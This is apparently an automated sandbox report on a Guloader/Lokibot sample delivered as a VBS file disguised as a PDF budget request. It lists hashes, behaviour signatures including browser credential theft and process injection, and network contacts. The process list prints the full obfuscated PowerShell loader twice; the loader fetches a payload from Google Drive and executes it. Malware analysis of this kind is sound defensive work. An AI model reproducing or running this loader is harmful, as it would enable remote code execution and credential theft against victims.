| SHA256 | f36ff78fac53b01ed65ec3678ee315acb92a630521c94da29a3cc57fe61520ba |
| SHA512 | 2f755f0c4e8bab2310b3573ea0c84a18cf1baed9e37af96105b59648bf7639506bd5323b225f22e9d871bac2bd54837ec37b04d714d373106b1575f261d671d8 |
memory/1424-36-0x0000000006640000-0x0000000009D62000-memory.dmp
memory/1212-38-0x0000000000400000-0x0000000000581000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | 4f3fdd25739a473fd74e7d9d4f47c1b7 |
| SHA1 | 8c3d70ca85d1a781d2d17f77ce6a0bebff098b9c |
| SHA256 | 424fefb8aa8b74ffe1a7a7d61b94ed361f40bcad6fabb940c3b608080e20b62e |
| SHA512 | 98c0b906209c4a1fbd61872cd0bb0261edcf645f33e823d42cfa64b3fc762574832682a7d29e4bc7d24a8cccc260dca3ccc92f0c88d626aab28b41d3188aea39 |
C:\Users\Admin\AppData\Local\Temp\Tar894D.tmp
| MD5 | 4ea6026cf93ec6338144661bf1202cd1 |
| SHA1 | a1dec9044f750ad887935a01430bf49322fbdcb7 |
| SHA256 | 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8 |
| SHA512 | 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b |
memory/1212-63-0x00000000006D0000-0x0000000003DF2000-memory.dmp
memory/2768-64-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-312935884-697965778-3955649944-1000\0f5007522459c86e95ffcc62f32308f1_1defa0c0-fc04-4155-83bc-b490dbaa3679
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-312935884-697965778-3955649944-1000\0f5007522459c86e95ffcc62f32308f1_1defa0c0-fc04-4155-83bc-b490dbaa3679
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-09-09 13:08
Reported
2024-09-09 13:11
Platform
win10v2004-20240802-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Network Service Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2604 set thread context of 3788 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\BUDŽETSKI ZAHTJEV 09-09-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Buln='nonsensitised';$Lavines=${host}.Runspace;If ($Lavines) {$Mizrah++;$Buln+='Perspectiveless234';$Snazziest='su';$Buln+='Colloquialises';$Snazziest+='bs';$Buln+='Syrnes';$Snazziest+='tri';$Buln+='Falankses';$Snazziest+='ng';};Function Billedtelefonerne($Varmluften){$Udpnses=$Varmluften.Length-$Mizrah;For( $Klippeens=5;$Klippeens -lt $Udpnses;$Klippeens+=6){$konsekvensberegningernes+=$Varmluften.$Snazziest.'Invoke'( $Klippeens, $Mizrah);}$konsekvensberegningernes;}function Bousoukis($Traitorwise){ .($Fossilification) ($Traitorwise);}$Shoppish=Billedtelefonerne 'Fo.ecMCaptaoReanizSnohaiPend.lOverslNedsnaUninf/A.nds5Quill.Monte0,asse Estra(Sub,eW Or,giUnpicnudtrydBrndsoPruttwNuptisHinde Ste.eNBegitT Fore Udsty1Whist0Unha..,indi0Kil,r;Dil t ThoroW Aa eiSarpenWench6Taxie4Tller;Altan Voltsxsuper6Sv,ge4Aarbo; Prov NonocrDisemvFlu f:Loada1Solsk2Gemmi1Isodo.Forml0Chins)Te,no ZiskGRete,e Id ocKlo,kkUninioDream/M sma2Cente0Pol,l1,meri0Skmte0Fe lv1Kontr0Overd1Sortl Emb.FPottiitr.sprTilgoeFiremfLibelo,fterxKomme/.andf1E,ter2 Gara1Afson.Lan,l0Overi ';$Fedtsmelteriet=Billedtelefonerne 'Pro,uUsammesKngteeSlikmr buck-IndviANa.teg DigeeIrritnRge,nt Krid ';$uncanonic=Billedtelefonerne 'Dischh.onsit,trantF lkepNon,esSupra:devil/aquin/polardGunrar UnmeiWiredvLabaaeposts.Su,trgTin,eoDibbloKbereg Folkl,olidePresi. TroucPrusto intemT,eca/Asperu AnnucGerni?Drif.eKlippxBomhupMy tio Sh.erBaeltt Stic=Tryk,dSkadeo Hardw Mol n rutclAdstio GrunaStubmdExpat&Indfri ForbdAlito= Ratt1Unf.aDsekulOCholeOC icoM AnemHHerme6KatasnFravrY UmboQScytoXTetr R erbe0MelibkEmulgiBrief-Dig,a5 isocwEkshigSam eAUdmalQreg,av pho HmeditmTredvFRe egt HuskmBill.oBoxinPSl tsRI,dorHDdssejErectLF rca ';$Multiferous=Billedtelefonerne 'Kolle>Phyt. ';$Fossilification=Billedtelefonerne 'T.rreiS,ndqeCholexTurur ';$Enkleres='Stormkurens';$Befolkningstilvkstens187 = Billedtelefonerne ' O,gaeForescHalloh BookoSamme Ska,e%ForklaFluffpMarchpGalvadskrataOmb,ntIntraaTryg %Putte\AtlasS Jog jTitalaMusikeVolutl TurbeDiskalA,beji b,gsvSegmeeVocaltdekl,sRubri.SinuaSUnpeno ArtinCotyl ount&Bu ko&Homes Arbeje AdrecLivsghSv.etoCavia Robert Tr,u ';Bousoukis (Billedtelefonerne 'Brnep$MiliegSprinlGlagaoIdiotb Imbaa Odi,lHypoc:SvcelR.akeleRe.rog incoe,oellrNongridragsnUnshagScrews olitfMar.lo ArberHe.dim AdeleP,esinGest.sf,rha=pavha(A gioc Undem Fanad Sh.u Erhve/Nati.c impr In.e$SpiceBCo.preKolibfTilbeoFje.nlSlutnk Con.nUdineiSatisnForskgEmotisGen.eteastii turnl SkumvAfsejkDals sPatietUnmoleVanitnHrev,sAld.r1 Bogh8 Blan7Lea.e)Bused ');Bousoukis (Billedtelefonerne ' Anna$ExudegPatril M.leoSouthbTanksaTrffel Left:S,alaPOmrinhBen io .ltrn OksegchimbhAdamsiApp,a=Passa$ IncouVen,tnPrehecAqu caRacisnErhveoParf,nDi imiPost,c igem.CariasSkandpKlagelToileiGle.atBalee(Ko,ne$FibroMSerseuDi selPi.ketArviniBlindfGang,e Smitr JibboConcou Overs Fi,e)Ho.pe ');Bousoukis (Billedtelefonerne ' Loyn[Ops.rNAt.one Uds,tdeput. FortSExlu,eLevnerHightvv llai,hiffc andbeFirebPAnagooPert i Dobbn PenitfarinMGy.deaPh.ton onomaUnsheg U.eaeFugefr ,qui]Trilo:flikk:TransSV gtie S jacS.artuAfgi.rButiki.robltAminoyRoustPfilmkrLibidoUndertBawdioUdsa.cBeatnoKred.lHawth Basis=I vol Undl[lofteNMedieeRuinhtUk le. ealoSantiveCrudicBerycuBeat,rRadioiStrsttSvippy E trPKrikarCardioappart Elyto Magnc ecuoMy,delfodboTM.ssiyM.nigpUundveK nfe]Ruach: Frs :HandsT KulslBe.ass H mi1Cheat2Mormd ');$uncanonic=$Phonghi[0];$Anliggender= (Billedtelefonerne 'Xy og$Prea gSka mlKilowoE sedbMetalaApolilFe,ie:PenplbConvirEle ao MdepnUs,glc,apith AfsmiStudsoBr gelAmuckeAntipsAd es=Coro,NContie Fremw ,nto-Cof.eOFasthbSuperj gebyebrnebc TyngtRh,om Bjr sSLemuryGlemnsBilopt Abs,eOffenm etra. EndoNC.nsueLe.trt aadf.FetteWLambeeThankbMantlCPretrlDemoliRia.feBa,atnSedest');$Anliggender+=$Regeringsformens[1];Bousoukis ($Anliggender);Bousoukis (Billedtelefonerne ' Exte$Por.rbWat,irGalvaoS.illnTopsic T.leh vicoisoffio,ykell CalieDi,lesDrivh.sakskHUflsoe,perlaAcesodOfficeSkrubr,iomesDeefo[ Affl$LrredF.ndererampadRekvitTardesR,bssmraadveSkaa,le.tertFurrye RaccrPseudiMiasmeAmbistRes m]Fordr=Adjek$Ha,deSChatth Por o UdenpAsperp BoneiHnsehsIrerehCh,vr ');$Plankevrkslyttere=Billedtelefonerne ' Asse$AfsprbTri mrstimuoRelesnCas.ecLimithFinlaiEcchyo Kanal TopmeInd,asTsarr.Nabo.DligatoPl ntwRi,inn Forpl Ob,eo .ymmaStttedSanerFSengei PriclP,nameForny(Kulfy$Molybu irconBroodcNavicaTraefnSynlio PerinGa leinulr,cOverb,Pavag$AflvnDudsn aBegyng SjussC.lsilBlindygrubbs RetmeCusp nD ceneLipom)Nidig ';$Dagslysene=$Regeringsformens[0];Bousoukis (Billedtelefonerne ' ,ods$Se stgPennyleft roKit.ebPetcoaUnabolLance:LnindDVin eaStrenrViolarB.tisyGrifflUnind=Has.a(AabenTPort.eTi.trsCon et Anst-AfvigPAnmodaF lmktPesteh Gran Oscul$IngleD UrdeaCienegBoghos K utlG,senyFodb.sAwarre glycnSnappeThank)Dolla ');while (!$Darryl) {Bousoukis (Billedtelefonerne 'Subor$ AcetgGrandlAfskyoGge.abTelevaFendelUl.nd:Bygn PpennieFoto cStagh=,erro$ ethntFerv.r CantuGe.neePotch ') ;Bousoukis $Plankevrkslyttere;Bousoukis (Billedtelefonerne 'CorreSUnfamt .lesaHig rrHundetBe,ej-Tin,lScl.fflSemaseYdrere Di,lpMy os Vil.e4merr. ');Bousoukis (Billedtelefonerne 'Spio $SolidgO,logl k ndoPe.vib sea.a Insulanale:hotheDReta a Vaa.r,rracrR,ndoy emolS.lkw=tuema(ArcadTGodlieDesirsSkinktAn iv-SkraaPTiensaSl tttUnbinhP.isi Byaas$Anna.D Lu haKa,gagCaul.sOvernlfrivoyFr,nusExpa,eI,semn,djvneAnimo)mnt.o ') ;Bousoukis (Billedtelefonerne 'flles$Akklig DivalYaguaoKartob.vildaSingll sphe:R,steOTuredv Ambie Arb rFug,sb MotoyAabnegMonkhnRealliMet.nnYakatg Kom,sOverau AxindB,okedVol maAmur,nkredsnAdrese Adstl SkuasRindaeOpst.=Yolk.$Kns,vgCrosslEnclao Torpb St ka Trstl ntic:LuftfL Fi uo AccecVisseoMes pmT.nctoSilb.tomta,i,ersovDroejeFotokml erveMonicnKnit.+clean+Galan%Bisma$MinilPD.leahGlebeoHo,bynCottegMonoph Cashi Ta,j.ReinecGenanoGas,uuFedt.nStoretbrneb ') ;$uncanonic=$Phonghi[$Overbygningsuddannelse];}$Salpingian=328811;$Antirumor=29061;Bousoukis (Billedtelefonerne ' Hov,$Riddeg,dgivlAnti,oFewsbbTav.raAlabalMande:PolysSbortspVoltaaTr.ldg Liv h WhoreprisetSquirtFortaiEks leSprngnLionce.eeks1Sinwa9Arome5Relat Hotc=Kode. CurahGIncr.eFl,ugt jayh-PhilaC,amdeo.ksekn ProltSovemeUngarnwi gitHirpl dybst$AutomDTi.taaTabl,gTjekksCrosslJauntyEngi sslumaeFormanAcouseOmegn ');Bousoukis (Billedtelefonerne 'Forna$KkkengDe.qulEch.io FjerbTorpeaSelvslEpide:aberoDAlle hSpitfoTrapetIndiseRiseneStrbe Klben= Aggl Tagka[ForpaSDaddlyFib,isEuchot offeeKrselmFrise.DowntCPut eoTugtenOpfinvRatsbeFor,brEnt mtPirip]Unma,:Tilpl:KlippFWaynerAtlasoHoddemBlushBSmertaBundssAmbu.eWager6 Occa4FilmqSChorytTraverEf eriPinien.harcgO.erw( Enau$KenyaSSpindpLrkenai,tergDa.ueh Talee PerctScrumtTraveiR.binePoo lnlithoeRhode1Pelti9Torsk5Suffe)nonle ');Bousoukis (Billedtelefonerne 'Arara$testmgEndoslUnderoNowhabcarpoa PoinlApppe:FlyveNKomp.oEmun nMosbetUnhawy u mipbeboeo Opg.g AdjurVarmeaSwagep B.adhRoendiTeleccArgut Ov rw=Grand Boatl[ SunbS Vve yBelyssSm,ldtRaaheeTrufnmBr,ar.krydsTMedune.eorgxOpl,gtBulbl.whammEMicronmervicSuperoDedukd SonaiKamernAllelgUnder]Akter:Dyrev:UnuniASightSPraesC.orbrI EpheI yre.FlaadGAmiceeinta,tSydamSAcadetYonkerUna,liFor,rnDrikkg Meso(Nring$DefroD LithhVaultoBabyst TetreRemo e,ondu) ormu ');Bousoukis (Billedtelefonerne 'Tje,i$Dr.vig HypelTusmooExcenbDiscoaAfspilAffal: Mut DOverieDisinmMorgeoSubaunParapoSkr vl P,ddo Una,gTjekkyDupli1 H,je2Dok,o4Phaeo=henaa$BreddN Su.poIagttnNeurotdisp,y IdeppArrhioDewatgEfterrPlasta nfep,econhun.nsi RecocAle,i. Gro,s SommuFor ubBrssps PhertAfmrkrLystriFundunRoulegForeb( Anpa$,ekupSkandiaheirel ,aryp,jendiSa,ornRatifg .pspiRussiaAk.ivn Unco,.otra$HalerA Inf nEnergtChil iAproprAfsniu UndrmProfeo FiberEnzym)uni,e ');Bousoukis $Demonology124;"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sjaelelivets.Son && echo t"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 216.58.201.110:443 | drive.google.com | tcp |
